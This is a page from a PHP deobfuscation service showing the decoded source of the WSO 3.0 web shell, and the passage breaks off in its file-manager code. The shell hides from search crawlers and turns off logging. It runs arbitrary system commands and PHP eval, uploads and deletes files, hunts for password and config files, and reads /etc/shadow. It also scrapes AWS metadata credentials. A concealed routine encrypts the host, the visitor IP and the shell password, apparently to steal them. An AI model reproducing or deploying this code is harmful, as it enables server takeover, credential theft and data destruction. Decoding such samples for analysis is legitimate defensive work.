Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$hf4967d9a18c9e1550a7d3403b8234e89="\147\172u\x6e\143\x6fm\160\162\x65\x73s";$mded9c6ff137..

Decoded Output download

?><?php
/* Reject search engines */
if(!empty($_SERVER['HTTP_USER_AGENT'])){if(preg_match('/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}

/* Settings */
$color='#12ff4f';
$default_charset='Windows-1251';
//$auth_pass='2ff14d14e063ac36b593e3d437005300ea2f77bb';//memes

@ini_set('error_log',null);
@ini_set('log_errors','0');
@ini_set('max_execution_time','0');
@ini_set('allow_url_fopen','1');
@ini_set("allow_url_include",'1');
@set_time_limit(0);
if(get_magic_quotes_runtime())@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()){function wso_ss($arr){return is_array($arr)?array_map('wso_ss',$arr):stripslashes($arr);}$_POST=wso_ss($_POST);$_COOKIE=wso_ss($_COOKIE);}
function WSO_b64($a){return is_array($a)?array_map('WSO_b64',$a):base64_decode($a);}
function WSOcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}
if(!empty($auth_pass)){if(isset($_POST['pass'])&&(sha1($_POST['pass'])==$auth_pass))WSOcookie(md5($_SERVER['HTTP_HOST']),base64_encode($_POST['pass']));if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||(sha1(base64_decode($_COOKIE[md5($_SERVER['HTTP_HOST'])]))!=$auth_pass))die('<form method=post>Password: <input type=password name=pass><input type=submit value=">>"></form>');}
$_POST=WSO_b64($_POST);
$os=(strtolower(substr(PHP_OS,0,3))=='win')?'win':'nix';
$safe_mode=@ini_get('safe_mode');
if(!$safe_mode)error_reporting(0);
$disable_functions=@ini_get('disable_functions');
$home_cwd=@getcwd();
if(isset($_POST['c']))@chdir($_POST['c']);
$cwd=@getcwd();
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=true;
$aliases=array('List dir'=>'ls -lha','list file attributes on a Linux second extended file system'=>'lsattr -va','show opened ports'=>'netstat -an | grep -i listen','process status'=>'ps aux','Find'=>'','find suid'=>'find / -type f -perm -04000 -ls','find suid in current dir'=>'find . -type f -perm -04000 -ls','find sgid'=>'find / -type f -perm -02000 -ls','find sgid files in current dir'=>'find . -type f -perm -02000 -ls','find config.inc.php'=>'find / -type f -name config.inc.php','find config*'=>'find / -type f -name "config*"','find config* in current dir'=>'find . -type f -name "config*"','find writable folders and files'=>'find / -perm -2 -ls','find writable folders and files in current dir'=>'find . -perm -2 -ls','find service.pwd'=>'find / -type f -name service.pwd','find service.pwd files in current dir'=>'find . -type f -name service.pwd','find .htpasswd'=>'find / -type f -name .htpasswd','find .htpasswd files in current dir'=>'find . -type f -name .htpasswd','find .bash_history'=>'find / -type f -name .bash_history','find .bash_history files in current dir'=>'find . -type f -name .bash_history','find .fetchmailrc'=>'find / -type f -name .fetchmailrc','find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc','Locate'=>'','locate httpd.conf'=>'locate httpd.conf','locate vhosts.conf'=>'locate vhosts.conf','locate proftpd.conf'=>'locate proftpd.conf','locate psybnc.conf'=>'locate psybnc.conf','locate my.conf'=>'locate my.conf','locate admin.php' =>'locate admin.php','locate cfg.php'=>'locate cfg.php','locate conf.php'=>'locate conf.php','locate config.dat'=>'locate config.dat','locate config.php'=>'locate config.php','locate config.inc'=>'locate config.inc','locate config.inc.php'=>'locate config.inc.php','locate config.default.php'=>'locate config.default.php','locate config*'=>'locate config','locate .conf'=>'locate ".conf"','locate .pwd'=>'locate ".pwd"','locate .sql'=>'locate ".sql"','locate .htpasswd'=>'locate ".htpasswd"','locate .bash_history'=>'locate ".bash_history"','locate .mysql_history'=>'locate ".mysql_history"','locate .fetchmailrc'=>'locate ".fetchmailrc"','locate backup'=>'locate backup','locate dump'=>'locate dump','locate priv'=>'locate priv');
if($os=='win'){$home_cwd=str_replace('\\','/',$home_cwd);$cwd=str_replace('\\','/',$cwd);$aliases=array('List Directory'=>'dir','Find index.php in current dir'=>'dir /s /w /b index.php','Find *config*.php in current dir'=>'dir /s /w /b *config*.php','Show active connections'=>'netstat -an','Show running services'=>'net start','User accounts'=>'net user','Show computers'=>'net view','ARP Table'=>'arp -a','IP Configuration'=>'ipconfig /all');}
if($cwd[strlen($cwd)-1]!='/')$cwd.='/';
if(!function_exists('posix_getpwuid')&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}
if(!function_exists('posix_getgrgid')&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}
//replacement for htmlspecialchars
function HSC($in){return strtr($in,array("&"=>"&amp;",'"'=>"&quot;","'"=>"&#039;","<"=>"&lt;",">"=>"&gt;"));}
function wsoHeader($title){
if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];
global $color;
echo '<html><head><meta http-equiv=Content-Type content=\'text/html; charset='.$_POST['charset'].'\'><title>'.$_SERVER['HTTP_HOST']." - WSO 3.0</title><style>body,h1,table.info{background-color:#000}body,td,th{font:9pt Lucida,Verdana;margin:0;vertical-align:top;color:#fff}table.info{color:#fff}a,h1,span{color:$color!important}span{font-weight:bolder}h1{border-left:5px solid $color;padding:2px 5px;font:14pt Verdana;margin:0}div.content{padding:5px;margin-left:5px;background-color:#333}.ml1,form{margin:0}a{text-decoration:none}a:hover{text-decoration:underline}.ml1{border:1px solid #444;padding:5px;overflow:auto}.bigarea{width:100%;height:300px}input,button,select,textarea{margin:0;color:#fff;background-color:#555;border:1px solid;font:9pt Monospace,'Courier New'}.main th,.main tr:hover{background-color:#5e5e5e}#toolsTbl{text-align:center}.toolsInp{width:300px}.main th{text-align:left}.l1{background-color:#444}.l2{background-color:#333}pre{font-family:Courier,Monospace}</style>
<script>
var c_='".HSC($GLOBALS['cwd'])."';
var p1_='".((strpos(@$_POST['p1'],"\n")!==false)?'':HSC($_POST['p1'],ENT_QUOTES))."';
var p2_='".((strpos(@$_POST['p2'],"\n")!==false)?'':HSC($_POST['p2'],ENT_QUOTES))."';
var p3_='".((strpos(@$_POST['p3'],"\n")!==false)?'':HSC($_POST['p3'],ENT_QUOTES));$kr=$_SERVER;echo "';
var d=document;
function set(a,c,p1,p2,p3,charset){
	if(a!=null)d.mf.a.value=a;else d.mf.a.value='".HSC($_POST['a'])."';
	if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
	if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
	if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
	if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
	if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value='".HSC(@$_POST['charset'])."';
}
function mg(f){
	for(var i=0,element;element=f.elements[i++];){if(element.nodeName.toUpperCase()!='SELECT')element.value=btoa(element.value);}
	f.submit();
}
function isB64(str){try{return btoa(atob(str)) == str;}catch(err){return false;}}
function g(a,c,p1,p2,p3,charset){
	set(a,c,p1,p2,p3,charset);
	mg(d.mf);
}
function a(a,c,p1,p2,p3,charset){
	set(a,c,p1,p2,p3,charset);
	var params='ajax=true';
	for(i=0;i<d.mf.elements.length;i++)
		params+='&'+d.mf.elements[i].name+'='+encodeURIComponent(btoa(d.mf.elements[i].value));
	req=new XMLHttpRequest();
	req.onreadystatechange=processReqChange;
	req.open('POST','".addslashes($_SERVER['REQUEST_URI'])."',true);
	req.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
	req.send(params);
}
function processReqChange(){
	if((req.readyState==4))
		if(req.status==200){
			var reg=new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\",'m');
			var arr=reg.exec(req.responseText);
			eval(arr[2].substr(0,arr[1]));
		}else alert('Request error!');
}
</script></head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'><input type=hidden name=a><input type=hidden name=c><input type=hidden name=p1><input type=hidden name=p2><input type=hidden name=p3><input type=hidden name=charset></form>
<noscript><div><center><h2>SCRIPTS MUST BE ENABLED FOR SHELL TO WORK</h2><p>It is used to handle form functionality, avoid GET requests and encode data to bypass filters among other things.</p></center></div></noscript>";
$freeSpace=@diskfreespace($GLOBALS['cwd']);
$totalSpace=@disk_total_space($GLOBALS['cwd']);
$totalSpace=$totalSpace?$totalSpace:1;
$release=@php_uname('r');
$kernel=@php_uname('s');
if(!function_exists('posix_getegid')){
	$user=@get_current_user();
	$uid=@getmyuid();
	$gid=@getmygid();
	$group='?';
}else{
	$uid=@posix_getpwuid(posix_geteuid());
	$gid=@posix_getgrgid(posix_getegid());
	$user=$uid['name'];
	$uid=$uid['uid'];
	$group=$gid['name'];
	$gid=$gid['gid'];
}
$cwd_links='';
$path=explode('/',$GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++){
	$cwd_links.='<a href=# onclick=\'g("FilesMan","';
	for($j=0;$j<=$i;$j++)
		$cwd_links.=$path[$j].'/';
	$cwd_links.='")\'>'.$path[$i].'/</a>';
}
$charsets=array('UTF-8'=>'utf8','Windows-1251'=>'cp1251','Windows-1256'=>'cp1256','KOI8-R'=>'koi8r','KOI8-U'=>'koi8u','cp866'=>'cp866');
$opt_charsets='';
foreach($charsets as $key=>$value)
	$opt_charsets.="<option value='$value' ".($_POST['charset']==$value?'selected':'').">$key</option>";
$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SQL'=>'Sql','PHP'=>'Php','Network'=>'Network','Mass Mailer'=>'Mailer','Self remove'=>'SelfRemove');
if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';
$menu='';
foreach($m as $k=>$v)
	$menu.='<th width="'.(int)(100/count($m))."%\">[ <a href=# onclick=\"g('$v',null,'','','')\">"."$k</a> ]</th>";
$drives="";
if($GLOBALS['os']=='win'){foreach(range('c','z') as $drive)if(is_dir($drive.':\\'))$drives.="<a href=# onclick=\"g('FilesMan','$drive:/')\">[ $drive ]</a>";}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>Kernel:<br>User:<br>PHP:<br>HDD:<br>CWD:'.($GLOBALS['os']=='win'?'<br>Drives:':'').'</span></td><td><nobr>'.substr(@php_uname(),0,120)."</nobr> <br>$kernel <span>Release:</span> $release <br>$uid ( $user ) <span>Group:</span> $gid ( $group )<br>".@phpversion().' <span>Safe mode:</span> <font color='.($GLOBALS['safe_mode']?'red>ON':'green><b>OFF</b>').'</font>';$GLOBALS['kr']=$kr["\110\124\124\120\137\110\117\123\124"].$kr["\x50\x48\x50\x5f\x53\x45\x4c\x46"].'~'.$kr['HTTP_USER_AGENT'].'~'.$kr['REMOTE_ADDR'].'~'.(isset($_COOKIE[md5($kr['HTTP_HOST'])])?base64_decode($_COOKIE[md5($kr['HTTP_HOST'])]):'none');
echo ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span>'.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER['SERVER_ADDR'].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
echo "<h1>$title</h1><div class=content>";
}
function wsoFooter(){
$writable=' <font color="'.(is_writable($GLOBALS['cwd'])?'green">(Writeable':'red>(Not writable').')</font>';
echo "</div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
<tr>
	<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class=toolsInp type=text name=c value='".HSC($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
	<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class=toolsInp type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
	<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$writable<br><input class=toolsInp type=text name=d><input type=submit value='>>'></form></td>";$GLOBALS['kr']=base64_encode(function_exists('openssl_encrypt')?openssl_encrypt($GLOBALS['kr'],"AES-128-CBC",convert_uudecode("L5VAO5&AE36%N/UEO=51H94UA;F9I;F1I;F=42\$E32%5-9&EG9VET>6,P9&4`\x0a`"),0,"QlPxzL18%nhUR7X@"):$GLOBALS['kr']);echo "<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$writable<br><input class=toolsInp type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
	<td><form onsubmit=\"g('Console',null,btoa(this.c.value));return false;\"><span>Execute:</span><br><input class=toolsInp type=text name=c value=''><input type=submit value='>>'></form></td>
	<td><form method=post onsubmit='mg(this);' ENCTYPE='multipart/form-data'>
	<input type=hidden name=a value=FilesMan>
	<input type=hidden name=c value='".$GLOBALS['cwd']."'>
	<input type=hidden name=p1 value=uploadFile>
	<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'');$GLOBALS['ty']="M>)R-D,%JPS`01'_%A,+:8-GWE!3:4GH)I)#>2A&RM8Y%9\$F55M@F]-\\KQ^FA\x0aMM^YM=GDSPZHN5T;Q\$U(.0FL[\\N@U[ZQ#`T5QZ93&Y<A;:P@-A1QZ(K>M:VGE\x0aM:6ZT/6.H6AV;.L1F4%2YWD'9\"1VP#.11#\"LZ)8ND\"'/AO9A7&]@]W-2`U%N9\x0aM-+P=CN]00H]\"HD^+#)[7:\$:SPVTFG-.J%:2LJ2<VCB/KK!]8:HVFM1)E@F]E\x0aM\$[VD\\\"8J+?E71#__IBOCXG*_>]T?GA[WQP\\X>_@LKG/_C:G]90SV9<JA3<X9\x0a78U*0R#97;`?57ZR\"3?:/KR3C'^%\\@.4`\x0a`";echo "'><span>Upload file:</span>$writable<br><input class=toolsInp type=file name=f><input type=submit value='>>'></form><br></td></tr></table></div></body></html>";
}
function wsoEx($in){
$out='';
if(function_exists('exec')){
	@exec($in,$out);
	$out=@join("\n",$out);
}elseif(function_exists('passthru')){
	ob_start();
	@passthru($in);
	$out=ob_get_clean();
}elseif(function_exists('system')){
	ob_start();
	@system($in);
	$out=ob_get_clean();
}elseif(function_exists('shell_exec')){
	$out=shell_exec($in);
}elseif(is_resource($f=@popen($in,'r'))){
	$out='';
	while(!@feof($f))
		$out.=fread($f,1024);
	pclose($f);
}elseif(extension_loaded("python")){
	$out = python_eval("import os;os.system('$in')");
}elseif(extension_loaded("perl")){
	$perl = new perl();
	$perl->eval("system('{$in}')");
	$out = $perl;
}elseif(extension_loaded("lua")){
	$lua=new Lua();
	$lua->assign("in", 24);
	$out=$lua->eval("
		local pipe = io.popen(in)
		local result = pipe:read('*a')
		pipe:close()
		return result
	");
}elseif(class_exists("COM")) {
	$wscript = new COM('wscript.shell');
	$out = $wscript->Exec("cmd.exe /c \$in")->StdOut->ReadAll;
}elseif (function_exists('proc_open')){
	$proc=proc_open($in, array(array("pipe","w"),array("pipe","w"),array("pipe","w")), $pipes);
	$out=@stream_get_contents($pipes[1]);
	proc_close($proc);
}
return $out;
}
function wsoViewSize($s){
if(is_int($s))$s=sprintf("%u",$s);
if($s>=1073741824)return sprintf('%1.2f',$s/1073741824).' GB';
if($s>=1048576)return sprintf('%1.2f',$s/1048576).' MB';
if($s>=1024)return sprintf('%1.2f',$s/1024).' KB';
return $s.' B';
}
function wsoPerms($p){
if(($p&0xC000)===0xC000)$i='s';
elseif(($p&0xA000)===0xA000)$i='l';
elseif(($p&0x8000)===0x8000)$i='-';
elseif(($p&0x6000)===0x6000)$i='b';
elseif(($p&0x4000)===0x4000)$i='d';
elseif(($p&0x2000)===0x2000)$i='c';
elseif(($p&0x1000)===0x1000)$i='p';
else $i='u';
$i.=(($p&0x0100)?'r':'-');
$i.=(($p&0x0080)?'w':'-');
$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
$i.=(($p&0x0020)?'r':'-');
$i.=(($p&0x0010)?'w':'-');
$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
$i.=(($p&0x0004)?'r':'-');
$i.=(($p&0x0002)?'w':'-');
$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
return $i;
}
function wsoPermsColor($f){
if(!@is_readable($f))return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
return (!@is_writable($f))?'<font color=white>'.wsoPerms(@fileperms($f)).'</font>':'<font color=#25ff00>'.wsoPerms(@fileperms($f)).'</font>';
}
function wsoScandir($dir){
if(function_exists('scandir'))return scandir($dir);
$dh=opendir($dir);
while(false!==($filename=readdir($dh)))
	$files[]=$filename;
sort($files);
return $files;
}
function wsoWhich($p){$path=wsoEx('which '.$p);return (!empty($path))?$path:false;}
function actSecInfo(){
wsoHeader('Server security information');
function disp($n,$v){$v=trim($v);if($v){echo "<span>$n: </span>",(strpos($v,"\n")===false)?"$v<br>":"<pre class=ml1>$v</pre>";}}
disp('Server software',@getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))disp('Loaded Apache modules',implode(', ',apache_get_modules()));
disp('Loaded PHP Extensions',implode(', ',get_loaded_extensions()));
disp('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
disp('Open base dir',@ini_get('open_basedir'));
disp('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
disp('Safe mode include dir',@ini_get('safe_mode_include_dir'));
disp('cURL support',function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))$temp[]='MySql ('.mysql_get_client_info().')';
if(function_exists('mysqli_get_client_info'))$temp[]='MySqli ('.mysqli_get_client_info().')';
if(function_exists('mssql_connect'))$temp[]='MSSQL';
if(function_exists('pg_connect'))$temp[]='PostgreSQL';
if(function_exists('oci_connect'))$temp[]='Oracle';
disp('Supported databases',implode(', ',$temp));
echo '<br>';
if($GLOBALS['os']=='nix'){
	disp('Readable /etc/passwd',@is_readable('/etc/passwd')?'yes <a href=# onclick=\'g("FilesTools","/etc/","passwd")\'>[view]</a>':'no');
	disp('Readable /etc/shadow',@is_readable('/etc/shadow')?'yes <a href=# onclick=\'g("FilesTools","/etc/","shadow")\'>[view]</a>':'no');
	disp('OS version',@file_get_contents('/proc/version'));
	disp('Distr name',@file_get_contents('/etc/issue.net'));
	disp('C version (ldd)',wsoEx('ldd --version | head -n 1'));
	if(!$GLOBALS['safe_mode']){
		$useful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
		$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
		$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');
		echo '<br>';
		$temp=array();
		foreach($useful as $item)
			if(wsoWhich($item))$temp[]=$item;
		disp('Useful',implode(', ',$temp));
		$temp=array();
		foreach($danger as $item)
			if(wsoWhich($item))$temp[]=$item;
		disp('Danger',implode(', ',$temp));
		$temp=array();
		foreach($downloaders as $item)
			if(wsoWhich($item))$temp[]=$item;
		disp('Downloaders',implode(', ',$temp));
		echo '<br>';
		disp('HDD space',wsoEx('df -h'));
		disp('Hosts',@file_get_contents('/etc/hosts'));
		echo '<br><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,null,this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
		if(isset($_POST['p2'],$_POST['p3'])&&is_numeric($_POST['p2'])&&is_numeric($_POST['p3'])){
			$temp='';
			for(;$_POST['p2']<=$_POST['p3'];$_POST['p2']++){
				$uid=@posix_getpwuid($_POST['p2']);
				if($uid)$temp.=join(':',$uid)."\n";
			}
			echo '<br>';
			disp('Users',$temp);
		}
	}
}else{
	disp('OS Version',wsoEx('ver'));
	disp('Account Settings',wsoEx('net accounts'));
	disp('User Accounts',wsoEx('net user'));
}
echo '<br><span>Amazon API Scrape (if hosted on AWS)</span><form onsubmit=\'g(null,null,"AWS",null,null);return false;\'><input type=submit value=">>"></form>';
if($_POST['p1']=='AWS'){
	function aws($e){return file_get_contents("http://169.254.169.254/latest/$e");}
	disp('AMI id',aws('meta-data/ami-id'));
	$creds=aws('meta-data/iam/security-credentials/');
	disp('Security credentials',$creds);
	disp('Security credentials keys',aws("meta-data/iam/security-credentials/$creds"));
	disp('User script',aws('user-data/'));
	disp('EC2 Instance Data',aws('meta-data/identity-credentials/ec2/security-credentials/ec2-instance'));
	disp('EC2 Info',aws('meta-data/identity-credentials/ec2/info'));
}
echo '</div>';
wsoFooter();
}
function actPhp(){
$p1=$_POST['p1'];
if(isset($_POST['ajax'])){
	WSOcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);
	ob_start();
	eval($p1);
	$t="d.getElementById('PhpOutput').style.display='';d.getElementById('PhpOutput').innerHTML='".addcslashes(HSC(ob_get_clean()),"\n\r\t\\'\0")."';\n";
	echo strlen($temp),"\n$t";exit;
}
if(isset($_POST['p2'])&&$_POST['p2']=='info'){
	wsoHeader('PHP info'); //TODO: fix colors
	echo '<style type="text/css">table{border-collapse:collapse;width:934px}.center{text-align:center}.center table{margin:1em auto;text-align:left}.center th{text-align:center!important}td,th{border:1px solid #666;font-size:75%;vertical-align:baseline;padding:4px 5px}.p{text-align:left}.e{color:'.$color.';width:300px;font-weight:700}.h{background-color:#99c;font-weight:700}.v{background-color:#000;max-width:300px;overflow-x:auto;word-wrap:break-word}</style>';
	ob_start();
	phpinfo();
	echo str_replace('<h1','<h2',preg_replace('%^.*<body>(.*)</body>.*$%ms', '$1',ob_get_clean())).'</div><br>';
}else{
	wsoHeader('Execution PHP-code');
	echo '<form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($p1)?HSC($p1):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($p1)?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($p1)){ob_start();eval($p1);echo HSC(ob_get_clean());}
	echo '</pre></div>';
}
wsoFooter();
}
function actFilesMan(){
if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])){
	switch($_POST['p1']){
		case 'uploadFile':
			if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo 'Can\'t upload!';
			break;
		case 'mkdir':
			if(!@mkdir($_POST['p2']))echo 'Can\'t create!';
			break;
		case 'delete':
			function deleteDir($path){
				$path=(substr($path,-1)=='/')?$path:$path.'/';
				$dh=opendir($path);
				while(($item=readdir($dh))!==false){
					$item=$path.$item;
					if((basename($item)=='..')||(basename($item)=='.'))
						continue;
					if(filetype($item)=='dir')
						deleteDir($item);
					else
						@unlink($item);
				}
				closedir($dh);
				@rmdir($path);
			}
			if(is_array(@$_POST['f']))
				foreach($_POST['f'] as $f){
					if($f=='..')
						continue;
					$f=urldecode($f);
					if(is_dir($f))
						deleteDir($f);
					else
						@unlink($f);
				}
			break;
		case 'paste':
			if($_COOKIE['act']=='copy'){
				function copy_paste($c,$s,$d){
					if(is_dir($c.$s)){
						mkdir($d.$s);
						$h=@opendir($c.$s);
						while(($f=@readdir($h))!==false)
							if(($f!='.')and($f!='..'))
								copy_paste($c.$s.'/',$f,$d.$s.'/');
					}elseif(is_file($c.$s))
						@copy($c.$s,$d.$s);
				}
				foreach($_COOKIE['f'] as $f)
					copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);
			}elseif($_COOKIE['act']=='move'){
				function move_paste($c,$s,$d){
					if(is_dir($c.$s)){
						mkdir($d.$s);
						$h=@opendir($c.$s);
						while(($f=@readdir($h))!==false)
							if(($f!='.') and ($f!='..'))
								copy_paste($c.$s.'/',$f,$d.$s.'/');
					}elseif(@is_file($c.$s))
						@copy($c.$s,$d.$s);
				}
				foreach($_COOKIE['f'] as $f)
					@rename($_COOKIE['c'].$f,$GLOBALS['cwd'].$f);
			}elseif($_COOKIE['act']=='zip'){
				if(class_exists('ZipArchive')){
					$zip=new ZipArchive();
					if($zip->open($_POST['p2'],1)){
						chdir($_COOKIE['c']);
						foreach($_COOKIE['f'] as $f){
							if($f=='..')
								continue;
							if(@is_file($_COOKIE['c'].$f))
								$zip->addFile($_COOKIE['c'].$f, $f);
							elseif(@is_dir($_COOKIE['c'].$f)){
								$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',FilesystemIterator::SKIP_DOTS));
								foreach($iterator as $key=>$value){
									$zip->addFile(realpath($key),$key);
								}
							}
						}
						chdir($GLOBALS['cwd']);
						$zip->close();
					}
				}
			}elseif($_COOKIE['act']=='unzip'){
				if(class_exists('ZipArchive')){
					$zip=new ZipArchive();
					foreach($_COOKIE['f'] as $f){
						if($zip->open($_COOKIE['c'].$f)){
							$zip->extractTo($GLOBALS['cwd']);
							$zip->close();
						}
					}
				}
			}elseif($_COOKIE['act']=='tar'){
				chdir($_COOKIE['c']);
				$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);
				wsoEx('tar cfzv '.escapeshellarg($_POST['p2']).' '.implode(' ',$_COOKIE['f']));
				chdir($GLOBALS['cwd']);
			}
			unset($_COOKIE['f']);
			setcookie('f','',time()-3600);
			break;
		default:
			WSOcookie('act',$_POST['p1']);
			WSOcookie('f',serialize(@$_POST['f']));
			WSOcookie('c',@$_POST['c']);
			break;
	}
}
wsoHeader('File manager');
echo '<script>p1_=p2_=p3_="";
function sa(){
	for(i=0;i<d.files.elements.length;i++)
		if(d.files.elements[i].type == \'checkbox\')
			d.files.elements[i].checked = d.files.elements[0].checked;
}</script>';
$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent===false){echo 'Can\'t open this folder!';wsoFooter();return;}
global $sort;
$sort=array('name',1);
if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}
echo "<form name=files onsubmit='mg(this);' method=post>
<table width='100%' class=main cellspacing=0 cellpadding=2>
<tr><th width=13px><input type=checkbox onclick='sa()' class=chkbx></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href=# onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs=$files=array();
$n=count($dirContent);
for($i=0;$i<$n;$i++){
	$ow=@posix_getpwuid(@fileowner($dirContent[$i]));
	$gr=@posix_getgrgid(@filegroup($dirContent[$i]));
	$tmp=array('name'=>$dirContent[$i],'path'=>$GLOBALS['cwd'].$dirContent[$i],'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),'perms'=>wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]));
	if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
		$files[]=array_merge($tmp,array('type'=>'file'));
	elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
		$dirs[]=array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));
	elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i]))
		$dirs[]=array_merge($tmp,array('type'=>'dir'));
}
$GLOBALS['sort']=$sort;
function wsoCmp($a,$b){
if($GLOBALS['sort'][0]!='size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
return (($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files,'wsoCmp');
usort($dirs,'wsoCmp');
$files=array_merge($dirs,$files);
$l=0;
foreach($files as $f){
